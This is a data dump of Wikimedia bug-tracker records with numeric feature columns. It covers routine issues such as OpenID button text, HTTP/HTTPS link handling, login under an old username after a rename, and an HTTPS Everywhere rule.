https://gerrit.wikimedia.org/r/97202",,,1385196101,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-wkyshzo5cqaylrvqgeso,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.166666666666667,1.0,"solved by merging v4.01
GERRIT_URL"
210861,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","Change 97202 merged by Wikinaut:
Bug 45304: show correct button texts for login/create account/convert OpenID

https://gerrit.wikimedia.org/r/97202",,,1385196067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wkyshzo5cqaylrvqgeso,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9166666666666666,"Change 97202 merged by Wikinaut:
Bug 45304: show correct button texts for login/create account/convert OpenID

GERRIT_URL"
210856,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","Change 97202 had a related patch set (by Wikinaut) published:
Bug 45304: show correct button texts for login/create account/convert OpenID

https://gerrit.wikimedia.org/r/97202",,,1385195691,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wkyshzo5cqaylrvqgeso,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.258064516129032,0.9354838709677419,"Change 97202 had a related patch set (by Wikinaut) published:
Bug 45304: show correct button texts for login/create account/convert OpenID

GERRIT_URL"
47249,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,"As one can see on the URL provided, when browsing the thread history page, on the ""Comment text edited"" diff link it points to HTTP instead of HTTPS.

Looks like a hardcoded protocol.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://www.mediawiki.org/w/index.php?title=Thread:Project:Support_desk/GLobafunctions.php_wfParseUrl_choking_on_url&lqt_method=thread_history",Low,25.0,1361476620,1378756614.0,PHID-USER-jnta3z3spxto3vbxdngm,False,,False,PHID-TASK-c5embncbfgxlf35zaiqn,task_description,resolved,True,c2,1,True,False,True,-27,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,15.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,3.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5606060606060606,0.6363636363636364,"As one can see on the URL provided, when browsing the thread history page, on the ""Comment text edited"" diff link it points to HTTP instead of HTTPS.

Looks like a hardcoded protocol.

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
207908,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,"Change 50714 merged by jenkins-bot:
Comment text diff links in thread history should be protocol-relative

https://gerrit.wikimedia.org/r/50714",,,1378756589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c5embncbfgxlf35zaiqn,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.521739130434782,0.9565217391304348,"Change 50714 merged by jenkins-bot:
Comment text diff links in thread history should be protocol-relative

GERRIT_URL"
207902,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,Patch in Gerrit needs review...,,,1374662808,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-c5embncbfgxlf35zaiqn,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Patch in Gerrit needs review...
207895,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,Gerrit change 50714,,,1361746546,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-c5embncbfgxlf35zaiqn,task_subcomment,,True,c2,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,Gerrit change 50714
47101,Make it impossible to login as old user name after rename,"After having your account renamed, it is possible to log in again as the old name using your current password. This should not be the case. 

I'd hazard a guess that the old user's password field in the database isn't being cleared at rename time.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1361116440,1457033859.0,PHID-USER-uia2q3o33h5pb5lf7exz,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_description,resolved,True,c2,1,False,False,False,-28,True,0.0,0.0,0.0,1.0,3.0,8.0,3.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,1.0,0.0,1.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,7.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.943661971830986,0.7183098591549296,"After having your account renamed, it is possible to log in again as the old name using your current password. This should not be the case. 

I'd hazard a guess that the old user's password field in the database isn't being cleared at rename time.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
622658,Make it impossible to login as old user name after rename,"I don't think so. Global renames have made this unlikely to happen. If someone detaches a local account and manually renames it, it could potentially still happen. But I don't think that's a normal workflow for any wikis anymore.",,,1457033859,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,3,True,,,131,True,2.0,2.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,15.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,11.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,6.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0638297872340425,0.7659574468085106,"I don't think so. Global renames have made this unlikely to happen. If someone detaches a local account and manually renames it, it could potentially still happen. But I don't think that's a normal workflow for any wikis anymore."
622647,Make it impossible to login as old user name after rename,Is this still valid now that we have global accounts?,,,1457033268,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,3,False,,,131,True,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Is this still valid now that we have global accounts?
224769,Make it impossible to login as old user name after rename,"(In reply to comment #5)
> In the meantime, the workaround is to either delete or lock the centralauth
> account before doing the rename, so the user can't login with the old name
> and
> have the account autocreated.

This is not a usable workaround.
Scrupulous bureaucrats create an account under a random username, rename it to your username and block it. Before SUL they could create it directly at your old username, but that's a minor change.",,,1367421904,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,14.0,0.0,3.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,10.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.6984126984126984,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

This is not a usable workaround.
Scrupulous bureaucrats create an account under a random username, rename it to your username and block it. Before SUL they could create it directly at your old username, but that's a minor change."
224763,Make it impossible to login as old user name after rename,"The global rename patch (https://gerrit.wikimedia.org/r/#/c/39171/) will help this, since we account for this race condition.

In the meantime, the workaround is to either delete or lock the centralauth account before doing the rename, so the user can't login with the old name and have the account autocreated.",,,1361322430,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,True,,,-27,True,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,5.0,2.0,5.0,18.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.127272727272727,0.7636363636363637,"The global rename patch (URL will help this, since we account for this race condition.

In the meantime, the workaround is to either delete or lock the centralauth account before doing the rename, so the user can't login with the old name and have the account autocreated."
224758,Make it impossible to login as old user name after rename,"(In reply to comment #2)
> Sounds like automatic account creation on SUL. Seen on many wikis at many
> times.
> 
> Due to the fact, that you does not know, when you account is renamed, you
> will first try to login with your old name and than autocreate the account.

Mmm. I'd say some ""your account has been renamed"" UI is necessary.

I'd suggest a process along the lines of the following:

- Login as old account
- Login notices that old account has a ""renamed"" flag set
- Screen is presented:

  Your account has been renamed, and you are now logged in as <new name>. 
  You will no longer be able to log in as <old name>. 
  
  [ OK ]

- Login ability for old account is removed

If a user is logged in on another wiki with the old account, and returns to their home wiki after a renaming has taken place, this should be detected and they should be logged out. They would then get the renaming message when logging in again.",,,1361122572,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,False,,,-28,True,0.5,0.0,0.0,4.5,0.0,4.5,1.0,0.0,0.0,0.5,4.5,1.0,0.0,0.0,0.0,1.0,0.0,3.5,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.5,0.0,2.0,2.0,0.0,0.0,1.5,0.5,0.0,1.5,1.0,0.5,0.0,1.0,0.0,0.0,0.5,12.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,4.5,5.5,10.0,1.5,1.5,6.0,0.0,0.0,0.0,0.5,4.5,0.5,0.5,0.0,5.0,11.0,4.0,0.0,2.0,0.0,5.0,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,3.4252873563218387,0.6551724137931034,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Mmm. I'd say some ""your account has been renamed"" UI is necessary.

I'd suggest a process along the lines of the following:

- Login as old account
- Login notices that old account has a ""renamed"" flag set
- Screen is presented:

  Your account has been renamed, and you are now logged in as <new name>. 
  You will no longer be able to log in as <old name>. 
  
  [ OK ]

- Login ability for old account is removed

If a user is logged in on another wiki with the old account, and returns to their home wiki after a renaming has taken place, this should be detected and they should be logged out. They would then get the renaming message when logging in again."
224756,Make it impossible to login as old user name after rename,"(In reply to comment #1)
> Hex: Which Mediawiki version is this about?

1.21wmf9 (afbf386); I encountered this on the English Wikipedia.",,,1361121354,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,False,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,12.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"(In reply to comment #1)
QUOTE

1.21wmf9 (afbf386); I encountered this on the English Wikipedia."
224754,Make it impossible to login as old user name after rename,"Sounds like automatic account creation on SUL. Seen on many wikis at many times.

Due to the fact, that you does not know, when you account is renamed, you will first try to login with your old name and than autocreate the account.",,,1361121058,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,False,,,-28,True,4.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,20.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,20.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.76,"Sounds like automatic account creation on SUL. Seen on many wikis at many times.

Due to the fact, that you does not know, when you account is renamed, you will first try to login with your old name and than autocreate the account."
224749,Make it impossible to login as old user name after rename,Hex: Which Mediawiki version is this about?,,,1361120729,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,33.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Hex: Which Mediawiki version is this about?
46751,HTTPS Everywhere rule for planet,"**Author:** `sumanah`

**Description:**
https://en.planet.wikimedia.org/  --  SSL is now supported.  I'd like an HTTPS Everywhere rule that says the browser should use SSL on that site.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1360246620,1362792437.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6eu5nio3354kkgipigen,task_description,resolved,True,c2,1,False,False,True,-29,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,3.0,2.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4262295081967213,0.6229508196721312,"**Author:** CODE

**Description:**
URL  --  SSL is now supported.  I'd like an HTTPS Everywhere rule that says the browser should use SSL on that site.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
229077,HTTPS Everywhere rule for planet,"https://github.com/reedy/https-everywhere/commit/f392ad52848d637f39474b2abd13a13735372a72

Pull requested upstream.",,,1362792437,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"URL

Pull requested upstream."
229071,HTTPS Everywhere rule for planet,"nevermind that last part, talked to Reedy, who is going to submit a rule, thanks Reedy :)",,,1362792197,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,3.65,0.8,"nevermind that last part, talked to Reedy, who is going to submit a rule, thanks Reedy :)"
229064,HTTPS Everywhere rule for planet,"correct, we won't be able to fix mixed content warnings if we include images and external blogs that don't support HTTPS.  And doesn't HTTPSEverywhere automaticaly try HTTPS anyways and would just need a rule if there was an exception? What are we trying to resolve",,,1362791370,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-25,True,0.0,0.0,0.0,0.0,6.0,8.0,2.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,2.0,6.0,0.0,10.0,8.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,10.0,4.0,6.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,6.0,8.0,4.0,2.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,4.25,0.8461538461538461,"correct, we won't be able to fix mixed content warnings if we include images and external blogs that don't support HTTPS.  And doesn't HTTPSEverywhere automaticaly try HTTPS anyways and would just need a rule if there was an exception? What are we trying to resolve"
229059,HTTPS Everywhere rule for planet,"(In reply to comment #1)
> Possible problem: Firefox warns about mixed content: ""partial encoded
> content""
> (http:// hrefs in HTML) because there are embedded images from the external
> feeds.

Which is likley unfixable if all listed blogs don't support HTTPS..",,,1360251766,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,True,,,-29,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,23.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.433333333333333,0.8,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Which is likley unfixable if all listed blogs don't support HTTPS.."
229055,HTTPS Everywhere rule for planet,"**sumanah** wrote:

Possible problem: Firefox warns about mixed content: ""partial encoded content""
(http:// hrefs in HTML) because there are embedded images from the external feeds.",,,1360247319,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6eu5nio3354kkgipigen,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,3.0,0.0,13.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,0.8205128205128205,"**sumanah** wrote:

Possible problem: Firefox warns about mixed content: ""partial encoded content""
(http:// hrefs in HTML) because there are embedded images from the external feeds."
46226,http/https protocols not handled correctly in image links,"**Author:** `fut.perf`

**Description:**
The image links in the final result page of the upload wizard (under ""Thanks for uploading!"") have an incorrect use of url protocols. They are ""http:"" links even if the wizard was run under ""https:"".

--------------------------
**Version**: unspecified
